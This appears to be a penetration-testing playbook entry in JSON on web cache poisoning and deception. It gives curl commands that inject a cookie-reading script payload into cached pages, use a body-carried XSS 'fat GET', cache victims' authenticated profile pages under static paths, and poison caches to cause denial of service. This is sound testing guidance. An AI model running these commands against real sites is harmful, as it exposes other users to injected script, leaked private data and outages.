{
  "slug": "web-cache-poisoning",
  "title": "Web Cache Poisoning & Deception",
  "phase": "Exploitation",
  "description": "Test for web cache poisoning via unkeyed inputs and cache deception via path confusion to serve malicious responses or leak private data to other users.",
  "difficulty": "high",
  "tags": [
    "exploitation",
    "cache-poisoning",
    "cache-deception",
    "unkeyed-input",
    "web-cache"
  ],
  "tools": [
    "Burp Suite",
    "Param Miner",
    "curl"
  ],
  "steps": [
    {
      "id": "cachepoison-01",
      "title": "Identify cacheable responses and cache keys",
      "description": "Find responses that are served from a shared cache and determine which components of the request form the cache key versus what is ignored.",
      "commands": [
        "curl -sk -i 'https://target.com/' | grep -iE '^(cache-control|age|x-cache|cf-cache-status|vary|etag|expires):'",
        "for i in 1 2; do curl -sk -o /dev/null -D - 'https://target.com/en/home' | grep -iE '^(age|x-cache|cf-cache-status):'; done"
      ],
      "notes": "Look for X-Cache, CF-Cache-Status, Age, and Cache-Control headers. A response whose Age increments and flips to a hit on the second request is cacheable. The Vary header tells you which request headers are part of the key."
    },
    {
      "id": "cachepoison-02",
      "title": "Discover unkeyed inputs with Param Miner",
      "description": "Use Param Miner to brute-force headers and parameters that influence the response but are excluded from the cache key, such as X-Forwarded-Host, X-Forwarded-Scheme, and X-Host.",
      "commands": [
        "curl -sk 'https://target.com/?cb=1' -H 'X-Forwarded-Host: evil.com' | grep -i 'evil.com'",
        "curl -sk 'https://target.com/?cb=2' -H 'X-Forwarded-Scheme: nothttps' | grep -iE 'http://|Location'"
      ],
      "notes": "Always add a unique cache buster (a junk query parameter) while probing so you do not poison the real cache during discovery. Param Miner's 'Guess headers' with the cache-buster option automates finding unkeyed inputs safely."
    },
    {
      "id": "cachepoison-03",
      "title": "Poison the cache via unkeyed header reflection",
      "description": "When an unkeyed header is reflected into the response, send a request that injects an XSS payload or malicious redirect, then confirm it is cached and served to other users.",
      "commands": [
        "curl -sk 'https://target.com/en/home' -H 'X-Forwarded-Host: evil.com\\\"><script>alert(document.cookie)</script>'",
        "curl -sk 'https://target.com/en/home' | grep -iE 'evil.com|<script>'"
      ],
      "notes": "Remove the cache buster only for the final poisoning request so the malicious response is stored against the real key. Verify impact by fetching the page from a separate session or IP without your injected header."
    },
    {
      "id": "cachepoison-04",
      "title": "Exploit cache key normalization and fat GET",
      "description": "Abuse inconsistencies in how the cache normalizes keys — case, trailing characters, encoded delimiters, or a request body on a GET (fat GET) — to poison or bypass the intended key.",
      "commands": [
        "curl -sk -X GET 'https://target.com/?param=safe' --data 'param=<script>alert(1)</script>' -H 'Content-Type: application/x-www-form-urlencoded'",
        "curl -sk 'https://target.com/home%23' -i | grep -iE '^(x-cache|age):'"
      ],
      "notes": "Some caches strip or normalize part of the URL before building the key while the origin sees the raw value. A fat GET works when the cache keys only the query string but the application also reads parameters from the body."
    },
    {
      "id": "cachepoison-05",
      "title": "Perform cache deception via path confusion",
      "description": "Trick the cache into storing a dynamic, authenticated page under a static-looking path so the victim's private response is cached and retrievable by an attacker.",
      "commands": [
        "curl -sk -b 'session=VICTIMLIKE' 'https://target.com/account/profile.css' -i | grep -iE '^(x-cache|content-type):'",
        "curl -sk -b 'session=VICTIMLIKE' 'https://target.com/account/profile/..%2fnonexistent.js' -i | grep -iE '^(x-cache|content-type):'"
      ],
      "notes": "If the origin ignores the trailing .css and returns the profile page while the cache stores it as a static asset, an attacker can lure a victim to the URL and then read the cached private page. Test /account/profile.css, path parameters (;), and encoded slashes."
    },
    {
      "id": "cachepoison-06",
      "title": "Weaponize cache poisoning for denial of service",
      "description": "Poison the cache with a broken or oversized response (bad header, oversized header, redirect loop, or 400) so legitimate users are served the cached error, causing a denial of service.",
      "commands": [
        "curl -sk 'https://target.com/en/home' -H \"X-Forwarded-Host: $(python3 -c 'print(\\\"a\\\"*8000)')\" -i | grep -iE '^(HTTP/|x-cache):'",
        "curl -sk 'https://target.com/en/home' -H 'X-Forwarded-Scheme: nothttps' -i | grep -iE '^(HTTP/|location):'"
      ],
      "notes": "Cache-poisoning DoS (CPDoS) turns an unkeyed input that triggers an origin error into a cached error page served to everyone. Confirm the cached error persists on clean requests, and report cautiously since this can disrupt real users."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/web-cache-poisoning",
    "https://portswigger.net/web-security/web-cache-deception",
    "https://owasp.org/www-community/attacks/Cache_Poisoning",
    "https://github.com/PortSwigger/param-miner",
    "https://cpdos.org/"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-07-05"
}